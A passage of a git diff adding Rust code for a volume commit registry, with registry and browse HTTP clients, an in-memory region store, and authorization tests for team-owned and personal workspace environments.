b/crates/workspaces/src/registry.rs new file mode 100644 index 00000000..1a024a3d --- /dev/null +++ b/crates/workspaces/src/registry.rs @@ -0,0 +1,242 @@ +//! Where a volume's commit history lives: the `vol/{owner}/{name}` registry namespace. +//! +//! One keyspace over from `rustic_git_registry::store`'s image pattern, and deliberately the same +//! shape: a volume gets its own SlateDB, opened through the same storage pool as repos and images +//! (`vol` joins `RESERVED_OWNERS` so no repo or image can collide with it), routed by the same +//! ownership middleware. Single-writer-per-database is what gives `move_ref` its CAS for free — +//! two concurrent pushes racing to move `main` still order against each other because only one +//! node ever holds the database open. +//! +//! Keyspaces: `commit/{id}` -> a `CommitRecord` (immutable once written — a commit is content- +//! addressed by its own id, never mutated), `ref/{name}` -> the commit id it currently names. + +use crate::model::LineageEntry; +use rustic_git_core::Result; +use rustic_git_storage::store::Store; +use slatedb::Db; +use std::sync::Arc; + +/// A volume commit: the full lineage from base to here (never another record — deleting any +/// commit can never break a descendant), the state captured at commit time, and where the layer +/// blobs it names actually live. +#[derive(Clone, Debug, serde::Serialize, serde::Deserialize)] +pub struct CommitRecord { + pub id: String, + /// Free-form: ports, installed packages, whatever the workspace/environment tracks. Absent on + /// the wire deserializes to `null`, not a missing field error. + #[serde(default)] + pub state: serde_json::Value, + pub lineage: Vec, + /// Where the layer blobs this record names live. Bytes never cross regions; only this label + /// does. + pub region: String, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub message: Option, + pub created_at: chrono::DateTime, +} + +/// The ownership-map key for a volume. Mirrors `registry::routing_key`: `vol/` is a prefix no +/// repo or image route can produce, and `vol` is a reserved owner name so no repo key begins with +/// it either. +pub fn routing_key(owner: &str, name: &str) -> String { + format!("vol/{owner}/{name}") +} + +pub fn pool_coords(owner: &str, name: &str) -> (&'static str, String) { + ("vol", format!("{owner}/{name}")) +} + +const COMMIT_PREFIX: &str = "commit/"; +/// The region that owns this volume, stamped by its first append and never rewritten. +/// +/// It exists so the record routes can scope an agent token to the volume it is writing. Every +/// `CommitRecord` already carries a region, but answering "whose volume is this?" from the records +/// would mean reading history on every request; this is one point read. +const REGION_KEY: &str = "meta/region"; +const REF_PREFIX: &str = "ref/"; +fn commit_key(id: &str) -> String { + format!("{COMMIT_PREFIX}{id}") +} +fn ref_key(name: &str) -> String { + format!("{REF_PREFIX}{name}") +} + +#[allow(async_fn_in_trait)] +/// `Store`'s volume-registry methods, as an extension trait for the same reason +/// `registry::store::ImageExt` is one: `Store` lives in the `storage` crate, and the orphan rule +/// forbids an inherent impl on a foreign type from here. +pub trait VolExt { + async fn vol_db(&self, owner: &str, name: &str) -> Result>; + /// Whether this volume's database exists, WITHOUT opening it. + /// + /// Opening CREATES: `Db::builder(...).build()` has no create-if-missing switch, so a read path + /// that opens an unknown name brings a database into being — and a volume that exists on the + /// object store is a volume the owner-scoped listing shows, forever, with no history behind + /// it. Every user-facing read guards on this first. Same rule as `image_exists`/`repo_exists`. + async fn vol_exists(&self, owner: &str, name: &str) -> Result; + /// Appends a batch of commit records. Each `put` is independent (no `WriteBatch`): a partial + /// append leaves every already-written record valid on its own — commits never reference each + /// other, only their own lineage — so there is nothing for a batch to buy here. + async fn append_commits(&self, owner: &str, name: &str, records: &[CommitRecord]) -> Result<()>; + /// Moves `ref_name` to `commit`, refusing an unknown commit id (the caller answers 404/409; + /// this just reports `false`). + async fn move_ref(&self, owner: &str, name: &str, ref_name: &str, commit: &str) -> Result; + async fn ref_commit(&self, owner: &str, name: &str, ref_name: &str) -> Result>; + async fn commit(&self, owner: &str, name: &str, id: &str) -> Result>; + /// Every commit record, newest first. + async fn history(&self, owner: &str, name: &str) -> Result>; + /// The region that owns this volume, or `None` if nothing has been written to it yet. + async fn region(&self, owner: &str, name: &str) -> Result>; + /// Deletes every commit record and every ref in this volume's database — the whole snapshot + /// index for it. The region stamp stays: it is one key, it is what scopes an agent token, and + /// a volume that is pushed to again must not be re-claimable by a different region. + /// + /// The layer BLOBS are deliberately not touched here; see `browse_api::volumes::volumedelete`. + async fn delete_volume(&self, owner: &str, name: &str) -> Result<()>; + /// Deletes ONE commit record, reporting `false` for an unknown id (the caller answers 404). + /// + /// Any ref pointing at it walks BACK — to the newest surviving record older than the deleted + /// one, or dropped when there is none. A ref naming a deleted commit would fail `move_ref`'s + /// existence check forever and read back as a tip that is not in the history; walking to the + /// GLOBAL newest instead would silently move a ref that was deliberately parked on an older + /// record forward. The ref moves BEFORE the record goes, so a crash in between leaves an + /// orphaned record (invisible, harmless) rather than a dangling ref. Descendants are safe by + /// construction — a `CommitRecord` carries its whole lineage and never references another. + /// + /// Layer blobs are left alone, for the same reason `delete_volume` leaves them. + async fn delete_commit(&self, owner: &str, name: &str, id: &str) -> Result; +} + +impl VolExt for Store { + async fn vol_db(&self, owner: &str, name: &str) -> Result> { + let (o, n) = pool_coords(owner, name); + self.pool.get(o, &n).await + } + + async fn vol_exists(&self, owner: &str, name: &str) -> Result { + let (o, n) = pool_coords(owner, name); + self.pool.exists(o, &n).await + } + + async fn append_commits(&self, owner: &str, name: &str, records: &[CommitRecord]) -> Result<()> { + let db = self.vol_db(owner, name).await?; + // Claim the volume for its region on the first record ever written, and never rewrite it: + // the stamp is what later requests are checked against, so a writer that could overwrite it + // could also hand the volume to itself. + if let Some(first) = records.first() { + if !first.region.is_empty() && db.get(REGION_KEY).await?.is_none() { + db.put(REGION_KEY, first.region.as_bytes().to_vec()).await?; + } + } + for r in records { + let bytes = serde_json::to_vec(r).map_err(|e| rustic_git_core::err(e.to_string()))?; + db.put(commit_key(&r.id), bytes).await?; + } + Ok(()) + } + + async fn region(&self, owner: &str, name: &str) -> Result> { + let db = self.vol_db(owner, name).await?; + Ok(db + .get(REGION_KEY) + .await? + .map(|b| String::from_utf8_lossy(&b).to_string()) + .filter(|s| !s.is_empty())) + } + + async fn move_ref(&self, owner: &str, name: &str, ref_name: &str, commit: &str) -> Result { + let db = self.vol_db(owner, name).await?; + if db.get(commit_key(commit)).await?.is_none() { + return Ok(false); + } + db.put(ref_key(ref_name), commit.as_bytes().to_vec()).await?; + Ok(true) + } + + async fn ref_commit(&self, owner: &str, name: &str, ref_name: &str) -> Result> { + let db = self.vol_db(owner, name).await?; + Ok(db.get(ref_key(ref_name)).await?.map(|v| String::from_utf8_lossy(&v).into_owned())) + } + + async fn commit(&self, owner: &str, name: &str, id: &str) -> Result> { + let db = self.vol_db(owner, name).await?; + let Some(v) = db.get(commit_key(id)).await? else { return Ok(None) }; + Ok(Some(serde_json::from_slice(&v).map_err(|e| rustic_git_core::err(e.to_string()))?)) + } + + async fn delete_volume(&self, owner: &str, name: &str) -> Result<()> { + let db = self.vol_db(owner, name).await?; + for prefix in [COMMIT_PREFIX, REF_PREFIX] { + let mut keys = vec![]; + let mut it = db.scan_prefix(prefix, ..).await?; + while let Some(kv) = it.next().await? { + keys.push(kv.key); + } + // Collected first: deleting while the iterator is open mutates what it is walking. + for k in keys { + db.delete(k).await?; + } + } + Ok(()) + } + + async fn delete_commit(&self, owner: &str, name: &str, id: &str) -> Result { + let db = self.vol_db(owner, name).await?; + let Some(doomed) = self.commit(owner, name, id).await? else { return Ok(false) }; + // The predecessor by TIME, not the newest overall: a ref parked on an older record must + // walk back, never jump forward past records it was deliberately behind. + let successor = self + .history(owner, name) + .await? + .into_iter() + .find(|r| r.id != id && r.created_at < doomed.created_at) + .map(|r| r.id); + let mut refs = vec![]; + let mut it = db.scan_prefix(REF_PREFIX, ..).await?; + while let Some(kv) = it.next().await? { + if String::from_utf8_lossy(&kv.value) == id { + refs.push(kv.key); + } + } + // Collected first: writing while the iterator is open mutates what it is walking. + for k in refs { + match &successor { + Some(next) => db.put(k, next.as_bytes().to_vec()).await?, + None => db.delete(k).await?, + }; + } + // Last: every ref already points somewhere real, so a crash before this leaves only an + // orphaned record. + db.delete(commit_key(id)).await?; + Ok(true) + } + + async fn history(&self, owner: &str, name: &str) -> Result> { + let db = self.vol_db(owner, name).await?; + let mut it = db.scan_prefix(COMMIT_PREFIX, ..).await?; + let mut out = vec![]; + while let Some(kv) = it.next().await? { + out.push(serde_json::from_slice::(&kv.value).map_err(|e| rustic_git_core::err(e.to_string()))?); + } + // `scan_prefix` yields ascending key order, i.e. insertion order by id, not by time — sort + // by `created_at` and reverse so "newest first" holds even if ids do not sort that way. + out.sort_by_key(|r| std::cmp::Reverse(r.created_at)); + Ok(out) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn keys_cannot_collide_with_a_repo_or_an_image() { + assert_eq!(routing_key("alice", "web"), "vol/alice/web"); + assert_ne!(routing_key("alice", "web"), "alice/web"); + assert_ne!(routing_key("alice", "web"), format!("img/alice/web")); + let key = routing_key("alice", "web"); + let (o, n) = key.split_once('/').unwrap(); + assert_eq!((o, n), ("vol", "alice/web")); + assert_eq!(pool_coords("alice", "web"), ("vol", "alice/web".to_string())); + } +} diff --git a/crates/workspaces/src/registry_client.rs b/crates/workspaces/src/registry_client.rs new file mode 100644 index 00000000..4694a9a9 --- /dev/null +++ b/crates/workspaces/src/registry_client.rs @@ -0,0 +1,84 @@ +//! Thin reqwest client for the agent-facing volume registry routes served by +//! `bins/server/src/vol_agent.rs`: `POST {owner}/{name}/commits`, `POST .../ref`, +//! `GET .../history`. The bearer token is the same shared-secret `RUSTIC_GIT_VOL_AGENT_TOKENS` +//! the agent already carries for `register`/`work`/`jobs/*`. +//! +//! Same discipline as `crates/pulls/src/merge_worker.rs`'s `local()`/`networked()` split: the +//! token lives only in the `Authorization` header, and every error here is a fixed string (or a +//! bare HTTP status) — never a formatted `reqwest::Error`, request URL, or header — so a +//! propagated push/pull failure can never leak it into a log or an API response. + +use crate::registry::CommitRecord; +use std::time::Duration; + +pub struct RegistryClient { + base: String, + token: String, + client: reqwest::Client, +} + +impl RegistryClient { + pub fn new(base: impl Into, token: impl Into) -> RegistryClient { + RegistryClient { + base: base.into(), + token: token.into(), + client: reqwest::Client::builder() + .timeout(Duration::from_secs(120)) + .build() + .expect("build reqwest client"), + } + } + + /// Send one request and check its status. `what` names the call for the error string and is + /// the ONLY thing that varies: no `reqwest::Error`, URL or header ever reaches a message, so a + /// propagated failure cannot leak the bearer token. + async fn send(&self, req: reqwest::RequestBuilder, what: &str) -> Result { + let resp = req + .bearer_auth(&self.token) + .send() + .await + .map_err(|_| format!("registry: {what} request failed"))?; + if !resp.status().is_success() { + return Err(format!("registry: {what}: {}", resp.status())); + } + Ok(resp) + } + + fn url(&self, owner: &str, name: &str, tail: &str) -> String { + format!("{}/vol-agent/{owner}/{name}/{tail}", self.base) + } + + /// Appends a batch of commit records to `{owner}/{name}`'s history. A no-op on an empty + /// batch — `push` calling this with nothing unpushed would otherwise be a wasted round trip. + pub async fn post_commits(&self, owner: &str, name: &str, records: &[CommitRecord]) -> Result<(), String> { + if records.is_empty() { + return Ok(()); + } + let req = self.client.post(self.url(owner, name, "commits")).json(records); + self.send(req, "commits").await?; + Ok(()) + } + + /// Moves `{owner}/{name}`'s ref (fixed name `"main"` — one ref per volume, same as the old + /// single `Workspace.volume`/`Environment.volume` model) to `commit`. + pub async fn move_ref(&self, owner: &str, name: &str, ref_name: &str, commit: &str) -> Result<(), String> { + let req = self + .client + .post(self.url(owner, name, "ref")) + .json(&serde_json::json!({"name": ref_name, "commit": commit})); + self.send(req, "ref move").await?; + Ok(()) + } + + /// Every commit record for `{owner}/{name}`, newest first (`history`'s own contract) — + /// `pull`/`clone_local`/`clone_running` treat `[0]` as the current tip, since a push always moves + /// the one ref forward and this deployment has no branch/rewind story yet. + pub async fn get_history(&self, owner: &str, name: &str) -> Result, String> { + let req = self.client.get(self.url(owner, name, "history")); + let resp = self.send(req, "history").await?; + resp.json().await.map_err(|_| "registry: history: bad response body".to_string()) + } +} + +/// Fixed ref name every volume's engine ops move — see `RegistryClient::move_ref`'s doc. +pub const MAIN_REF: &str = "main"; diff --git a/crates/workspaces/src/store.rs b/crates/workspaces/src/store.rs new file mode 100644 index 00000000..aea46aa1 --- /dev/null +++ b/crates/workspaces/src/store.rs @@ -0,0 +1,45 @@ +//! Metadata store abstraction: cross-cluster `Region` metadata and nothing else — the CRDs are +//! the truth for workspaces and snapshots. `MemStore` is the in-memory reference used by tests +//! and by dev runs without Cosmos. + +use crate::model::Region; +use std::collections::HashMap; +use std::sync::Mutex; + +#[derive(Debug, PartialEq, Eq)] +pub enum StoreErr { + CasFailed, + NotFound, + Conflict, + Other(String), +} + +#[async_trait::async_trait] +pub trait MetaStore: Send + Sync { + async fn put_region(&self, r: &Region) -> Result<(), StoreErr>; + async fn regions(&self) -> Result, StoreErr>; +} + +#[derive(Default)] +pub struct MemStore { + regions: Mutex>, +} + +impl MemStore { + pub fn new() -> Self { + Self::default() + } +} + +#[async_trait::async_trait] +impl MetaStore for MemStore { + async fn put_region(&self, r: &Region) -> Result<(), StoreErr> { + self.regions.lock().unwrap().insert(r.id.clone(), r.clone()); + Ok(()) + } + + async fn regions(&self) -> Result, StoreErr> { + Ok(self.regions.lock().unwrap().values().cloned().collect()) + } +} + diff --git a/crates/workspaces/src/upstream.rs b/crates/workspaces/src/upstream.rs new file mode 100644 index 00000000..f6f1075f --- /dev/null +++ b/crates/workspaces/src/upstream.rs @@ -0,0 +1,180 @@ +//! The api tier's client for the server tier's volume BROWSE routes +//! (`bins/server/src/browse_api/volumes.rs`): `GET /api/{owner}/volumes` and +//! `GET /api/{owner}/{name}/volumehistory`. +//! +//! Separate from `registry_client` on purpose, even though both reach the same process. That one +//! speaks the agent surface and proves itself with a region's agent token; this one speaks the +//! browse surface on the PEER listener and proves itself with the peer secret, naming the owner it +//! has already verified in `OWNER_HEADER`. Sharing a struct would mean one object holding two +//! unrelated credentials, and the peer secret is the stronger of the two. +//! +//! Same secret discipline as `registry_client`: the secret lives only in a header, and no error +//! here carries a `reqwest::Error`, a URL or a header — only a fixed string. + +use crate::registry::CommitRecord; +use rustic_git_core::peer::{OWNER_HEADER, PEER_HEADER}; +use std::time::Duration; + +/// One volume as the server tier's listing knows it. Deliberately thin: that route reads the +/// object store alone and may never open a volume's database, so this is everything a listing can +/// say without one. +#[derive(Debug, Clone, serde::Deserialize)] +pub struct VolumeRow { + pub name: String, + /// Epoch millis of the last write to the volume's database — approximate, see the handler. + #[serde(default)] + pub latest_ms: Option, +} + +pub struct Upstream { + base: String, + secret: String, + client: reqwest::Client, +} + +impl Upstream { + pub fn new(base: impl Into, secret: impl Into) -> Upstream { + Upstream { + base: base.into().trim_end_matches('/').to_string(), + secret: secret.into(), + client: reqwest::Client::builder() + .timeout(Duration::from_secs(30)) + .build() + .expect("build reqwest client"), + } + } + + /// `as_owner` is who this request acts as, and the server tier trusts it because the peer + /// secret vouches for it — so it must only ever be an owner this tier has ALREADY authorized + /// the caller for (themselves, or a team membership it checked). Passing an unverified value + /// here would hand the caller someone else's data. + async fn get_json( + &self, + as_owner: &str, + path: &str, + ) -> Result, String> { + let resp = self + .client + .get(format!("{}{path}", self.base)) + .header(PEER_HEADER, &self.secret) + .header(OWNER_HEADER, as_owner) + .send() + .await + .map_err(|_| "upstream: request failed".to_string())?; + // The browse tier answers 404 for "not yours" as well as "not there" — deliberately + // indistinguishable, and this tier must keep them that way. + if resp.status() == reqwest::StatusCode::NOT_FOUND { + return Ok(None); + } + if !resp.status().is_success() { + return Err(format!("upstream: status {}", resp.status().as_u16())); + } + resp.json::().await.map(Some).map_err(|_| "upstream: bad response body".to_string()) + } + + /// Every volume `owner` has ever pushed. `None` when the owner is not visible to this caller. + pub async fn volumes(&self, as_owner: &str, owner: &str) -> Result>, String> { + self.get_json(as_owner, &format!("/api/{owner}/volumes")).await + } + + /// One volume's snapshots, newest first. + pub async fn history( + &self, + as_owner: &str, + owner: &str, + name: &str, + ) -> Result>, String> { + self.get_json(as_owner, &format!("/api/{owner}/{name}/volumehistory")).await + } + + /// Drops one volume's whole snapshot index. `false` when the server tier answered 404, which + /// means "no such volume" and "not yours" alike — the same indistinguishable answer `get_json` + /// keeps, for the same reason. + pub async fn delete_volume(&self, as_owner: &str, owner: &str, name: &str) -> Result { + let resp = self + .client + .delete(format!("{}/api/{owner}/{name}/volumedelete", self.base)) + .header(PEER_HEADER, &self.secret) + .header(OWNER_HEADER, as_owner) + .send() + .await + .map_err(|_| "upstream: request failed".to_string())?; + if resp.status() == reqwest::StatusCode::NOT_FOUND { + return Ok(false); + } + if !resp.status().is_success() { + return Err(format!("upstream: status {}", resp.status().as_u16())); + } + Ok(true) + } + + /// One snapshot record. `false` for an unknown volume OR an unknown snapshot id — the server + /// tier answers 404 to both, and neither is a distinction a caller may act on. + pub async fn delete_snapshot( + &self, + as_owner: &str, + owner: &str, + name: &str, + snapshot: &str, + ) -> Result { + let resp = self + .client + .delete(format!("{}/api/{owner}/{name}/snapshotdelete/{snapshot}", self.base)) + .header(PEER_HEADER, &self.secret) + .header(OWNER_HEADER, as_owner) + .send() + .await + .map_err(|_| "upstream: request failed".to_string())?; + if resp.status() == reqwest::StatusCode::NOT_FOUND { + return Ok(false); + } + if !resp.status().is_success() { + return Err(format!("upstream: status {}", resp.status().as_u16())); + } + Ok(true) + } +} + +/// The provenance a push writes into `CommitRecord.state`: what the volume belonged to at the time. +/// Absent on records written before this existed, and on anything backfilled — readers fall back to +/// the volume id, which is what the page showed for everything before. +#[derive(Debug, Default, Clone, serde::Serialize, serde::Deserialize)] +pub struct Provenance { + #[serde(default)] + pub kind: Option, + #[serde(default)] + pub name: Option, + /// An environment's services at push time — what a restore needs to bring the data back up as + /// something running. Absent on workspaces and on every record written before this existed. + /// ponytail: a full copy of the service list in EVERY push record, so a chatty environment + /// stores it once per snapshot. Services are a handful of small structs, so this is bytes, not + /// megabytes; if it stops being, write it only on the tip record and read that. + #[serde(default)] + pub services: Option>, +} + +impl Provenance { + pub fn of(state: &serde_json::Value) -> Provenance { + serde_json::from_value(state.clone()).unwrap_or_default() + } +} + +#[cfg(test)] +mod tests { + use super::Provenance; + + /// The free-form `state` slot carries other things too (ports, packages); provenance reads + /// past them, and a record with none at all must not error. + #[test] + fn provenance_reads_past_unrelated_state_and_tolerates_none() { + let p = Provenance::of(&serde_json::json!({"kind": "workspace", "name": "api-scratch", "ports": [3000]})); + assert_eq!(p.kind.as_deref(), Some("workspace")); + assert_eq!(p.name.as_deref(), Some("api-scratch")); + + let empty = Provenance::of(&serde_json::Value::Null); + assert!(empty.kind.is_none() && empty.name.is_none()); + + let unrelated = Provenance::of(&serde_json::json!({"ports": [3000]})); + assert!(unrelated.kind.is_none() && unrelated.name.is_none()); + } +} diff --git a/crates/workspaces/tests/api_teams.rs b/crates/workspaces/tests/api_teams.rs new file mode 100644 index 00000000..2789cb3a --- /dev/null +++ b/crates/workspaces/tests/api_teams.rs @@ -0,0 +1,238 @@ +//! Team-owned environments: authorization via a stub `MembershipCheck` (a real `Directory` is +//! mongo-backed and heavy to spin up for a unit test — see `ApiState::membership`'s doc), against +//! a mocked API server for the objects the handlers write. + +use rustic_git_core::jwt::Jwt; +use rustic_git_workspaces::api::{router, ApiState, MembershipCheck}; +use rustic_git_workspaces::kube_test::{get, mock_client, post, Recorder, Route}; +use rustic_git_workspaces::store::{MemStore, MetaStore}; +use serde_json::{json, Value}; +use std::collections::HashSet; +use std::sync::Arc; + +const API: &str = "/apis/rustic-git.io/v1alpha1"; +const NODE: &str = "node-a"; + +/// `karthik` is the only member of team `acme`. +struct StubMembership; + +#[async_trait::async_trait] +impl MembershipCheck for StubMembership { + async fn teams_for(&self, user: &str) -> Vec { + if user == "karthik" { vec!["acme".into()] } else { vec![] } + } +} + +struct Server { + base: String, + jwt: Arc, + rec: Recorder, +} + +/// An `Environment` as the API server echoes it back. `node` is where a CONTROLLER put it, so it +/// lives in status; the spec names none. +fn env_obj(name: &str, owner: &str, node: &str) -> Value { + json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "Environment", + "metadata": {"name": name, "labels": {"rustic-git.io/owner": owner}}, + "spec": { + "owner": owner, "name": name, "region": "centralindia", "services": [], + "storage": {"quotaGb": 20}, "desiredState": "running" + }, + "status": {"phase": "running", "nodeName": node, "compatibleNodes": [node], "volumeRef": name} + }) +} + +fn list_of(kind: &str, items: Vec) -> Value { + json!({"apiVersion": "rustic-git.io/v1alpha1", "kind": format!("{kind}List"), "metadata": {}, "items": items}) +} + +fn create_routes() -> Vec { + vec![post(format!("{API}/environments"), env_obj("env-new", "acme", NODE))] +} + +async fn server(with_membership: bool, routes: Vec) -> Server { + let store = Arc::new(MemStore::new()); + // Creates check the region against the registered ones, so the harness registers the one + // every fixture names. + store + .put_region(&rustic_git_workspaces::model::Region { + id: "centralindia".into(), + name: "centralindia".into(), + storage_account: "acct".into(), + blob_container: "wslayers".into(), + status: "active".into(), + agent_token: "tok".into(), + }) + .await + .unwrap(); + let jwt = Arc::new(Jwt::new("test-secret-at-least-32-bytes-long!!").unwrap()); + let mut state = ApiState::new(store as Arc, jwt.clone(), HashSet::new()); + if with_membership { + state = state.with_membership(Arc::new(StubMembership)); + } + let (client, rec) = mock_client(routes); + state = state.with_kube(client); + let l = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = l.local_addr().unwrap(); + let app = router(Arc::new(state)); + tokio::spawn(async move { axum::serve(l, app).await.unwrap() }); + Server { base: format!("http://{addr}"), jwt, rec } +} + +fn token(jwt: &Jwt, username: &str) -> String { + jwt.mint(&format!("{username}@example.com"), "Test User", Some(username)).unwrap() +} + +#[tokio::test] +async fn member_can_create_a_team_environment_owned_by_the_team() { + let s = server(true, create_routes()).await; + let tok = token(&s.jwt, "karthik"); + + let resp = reqwest::Client::new() + .post(format!("{}/v1/environments", s.base)) + .bearer_auth(&tok) + .json(&json!({"name": "app-dev", "region": "centralindia", "owner": "acme"})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 202, "{}", resp.text().await.unwrap()); + let doc: Value = resp.json().await.unwrap(); + assert_eq!(doc["owner"], "acme"); + + // Ownership is the TEAM's, and it is the only thing the API decides: placement is a fact a + // node's claim establishes, so no binding is read and no node is named. + assert!(!s.rec.calls().iter().any(|c| c.contains("ownerbindings")), "the API never places"); + let e = s.rec.sent("POST", &format!("{API}/environments")).remove(0); + assert!(e["spec"].get("nodeName").is_none(), "{e}"); + assert_eq!(e["spec"]["owner"], "acme"); + assert_eq!(e["metadata"]["labels"]["rustic-git.io/owner"], "acme"); +} + +#[tokio::test] +async fn a_team_environment_is_listed_for_its_members() { + let routes = vec![ + get(format!("{API}/snapshotrequests"), list_of("SnapshotRequest", vec![])), + get(format!("{API}/environments"), list_of("Environment", vec![env_obj("env-1", "acme", NODE)])), + ]; + let s = server(true, routes).await; + let tok = token(&s.jwt, "karthik"); + + let list: Vec = reqwest::Client::new() + .get(format!("{}/v1/environments?owner=acme", s.base)) + .bearer_auth(&tok) + .send() + .await + .unwrap() + .json() + .await + .unwrap(); + assert_eq!(list.len(), 1); + assert_eq!(list[0]["id"], "env-1"); + assert_eq!(list[0]["state"], "running"); + assert_eq!(list[0]["placement"], NODE, "the node the projection reports comes from status"); +} + +#[tokio::test] +async fn non_member_cannot_create_or_see_a_team_environment() { + let mut routes = create_routes(); + routes.push(get(format!("{API}/environments/env-1"), env_obj("env-1", "acme", NODE))); + let s = server(true, routes).await; + let client = reqwest::Client::new(); + let stranger = token(&s.jwt, "mallory"); + + // A non-member can't create it in the team's name. + let resp = client + .post(format!("{}/v1/environments", s.base)) + .bearer_auth(&stranger) + .json(&json!({"name": "app-dev", "region": "centralindia", "owner": "acme"})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 403); + assert!(s.rec.calls().is_empty(), "a refused create writes nothing"); + + // And an existing team environment is a 404 to them, never a 403 — they learn nothing. + let resp = client.get(format!("{}/v1/environments/env-1", s.base)).bearer_auth(&stranger).send().await.unwrap(); + assert_eq!(resp.status(), 404); + + let resp = client + .get(format!("{}/v1/environments?owner=acme", s.base)) + .bearer_auth(&stranger) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 404); +} + +#[tokio::test] +async fn team_owner_without_a_directory_configured_is_503() { + let s = server(false, create_routes()).await; + let tok = token(&s.jwt, "karthik"); + + let resp = reqwest::Client::new() + .post(format!("{}/v1/environments", s.base)) + .bearer_auth(&tok) + .json(&json!({"name": "app-dev", "region": "centralindia", "owner": "acme"})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 503); +} + +/// `clone_env`'s member-authorized read (`find_env`) plus the object it writes — the copy keeps the +/// team's ownership and asks for a clone of the source, naming no node. +#[tokio::test] +async fn member_can_clone_a_team_environment() { + let routes = vec![ + get(format!("{API}/environments/env-1"), env_obj("env-1", "acme", "node-z")), + post(format!("{API}/environments"), env_obj("env-new", "acme", "node-z")), + ]; + let s = server(true, routes).await; + let tok = token(&s.jwt, "karthik"); + + let resp = reqwest::Client::new() + .post(format!("{}/v1/environments/env-1/clone", s.base)) + .bearer_auth(&tok) + .json(&json!({"name": "app-dev-clone"})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 202, "{}", resp.text().await.unwrap()); + let doc: Value = resp.json().await.unwrap(); + assert_eq!(doc["owner"], "acme"); + + let e = s.rec.sent("POST", &format!("{API}/environments")).remove(0); + assert_eq!(e["spec"]["owner"], "acme"); + assert_eq!(e["spec"]["storage"]["source"]["cloneOf"]["volume"], "env-1"); + assert!(e["spec"].get("nodeName").is_none(), "locality is the claim's job now: {e}"); + assert!(!s.rec.calls().iter().any(|c| c.contains("/volumes")), "a clone writes no Volume"); +} + +#[tokio::test] +async fn personal_workspace_unaffected_by_membership() { + let routes = vec![post( + format!("{API}/workspaces"), + json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "Workspace", + "metadata": {"name": "ws-new"}, + "spec": { + "owner": "karthik", "name": "web", "region": "centralindia", "image": "nginx:alpine", + "storage": {"quotaGb": 20}, "desiredState": "running" + } + }), + )]; + let s = server(true, routes).await; + let tok = token(&s.jwt, "karthik"); + + let resp = reqwest::Client::new() + .post(format!("{}/v1/workspaces", s.base)) + .bearer_auth(&tok) + .json(&json!({"name": "web", "region": "centralindia", "quota_gb": 20})) + .send() + .await + .unwrap(); + assert_eq!(resp.status(), 202, "{}", resp.text().await.unwrap()); + let doc: Value = resp.json().await.unwrap(); + assert_eq!(doc["owner"], "karthik"); +} diff --git a/crates/workspaces/tests/api_user.rs b/crates/workspaces/tests/api_user.rs new file mode 100644 index 00000000..8ba5bf44 --- /dev/null +++ b/crates/workspaces/tests/api_user.rs @@ -0,0 +1,1436 @@ +//! User-facing `/v1` workspaces/environments/regions routes, in-process against a mocked API +//! server (`kube_test`) for the cluster half and `MemStore` for the region half. +//! +//! Every mutation's whole output is an object in the API server, so the assertions are about what +//! the handler POSTed or PATCHed, read back off the mock's recorder. + +use rustic_git_core::jwt::Jwt; +use rustic_git_workspaces::api::{router, ApiState, MembershipCheck}; +use rustic_git_workspaces::kube_test::{get, mock_client, post, stub_registry, Recorder, Route}; +use rustic_git_workspaces::upstream::Upstream; +use rustic_git_workspaces::store::{MemStore, MetaStore}; +use serde_json::{json, Value}; +use std::collections::HashSet; +use std::sync::Arc; + +const API: &str = "/apis/rustic-git.io/v1alpha1"; +const NODE: &str = "node-a"; + +struct Server { + base: String, + store: Arc, + jwt: Arc, + rec: Recorder, +} + +fn vol_obj(name: &str, owner: &str) -> Value { + json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "Volume", + "metadata": {"name": name, "labels": {"rustic-git.io/owner": owner, "rustic-git.io/kind": "workspace"}}, + "spec": {"owner": owner, "nodeName": NODE, "region": "centralindia", "quotaGb": 20} + }) +} + +/// A `Workspace` as the API server echoes it back: `spec.storage`, no node and no `volumeRef` — +/// both of those are facts the controllers report in status. +fn ws_obj(name: &str, owner: &str) -> Value { + json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "Workspace", + "metadata": {"name": name, "labels": {"rustic-git.io/owner": owner}}, + "spec": { + "owner": owner, "team": "", "name": name, "region": "centralindia", "image": "nginx:alpine", + "storage": {"quotaGb": 20}, "desiredState": "running" + } + }) +} + +/// The same, once a node has claimed it and created its Volume. +fn placed_ws(name: &str, owner: &str) -> Value { + let mut w = ws_obj(name, owner); + w["status"] = json!({"phase": "ready", "nodeName": NODE, "compatibleNodes": [NODE], "volumeRef": name}); + w +} + +/// A freshly created `Environment`: no status, because no controller has seen it yet. +fn new_env(name: &str, owner: &str) -> Value { + json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "Environment", + "metadata": {"name": name, "labels": {"rustic-git.io/owner": owner}}, + "spec": { + "owner": owner, "name": name, "region": "centralindia", "services": [], + "storage": {"quotaGb": 20}, "desiredState": "running" + } + }) +} + +fn env_obj(name: &str, owner: &str) -> Value { + let mut e = json!({ + "apiVersion": "rustic-git.io/v1alpha1", "kind": "Environment", + "metadata": {"name": name, "labels": {"rustic-git.io/owner": owner}}, + "spec": { + "owner": owner, "name": name, "region": "centralindia", "services": [], + "storage": {"quotaGb": 20}, "desiredState": "running" + } + }); + e["status"] = json!({"phase": "running", "nodeName": NODE, "volumeRef": name}); + e +} + +/// The ONE write a create makes now. +fn create_routes() -> Vec { + vec![ + post(format!("{API}/workspaces"), ws_obj("ws-new", "karthik")), + post(format!("{API}/environments"), new_env("env-new", "karthik")), + ] +} + +async fn server_with(admins: &[&str], routes: Option>) -> Server { + let store = Arc::new(MemStore::new()); + region(&store, "centralindia").await; + let jwt = Arc::new(Jwt::new("test-secret-at-least-32-bytes-long!!").unwrap()); + let mut state = ApiState::new( + store.clone() as Arc, + jwt.clone(), + admins.iter().map(|s| s.to_string()).collect::>(), + ); + let rec = match routes { + Some(routes) => { + let (client, rec) = mock_client(routes); + state = state.with_kube(client); 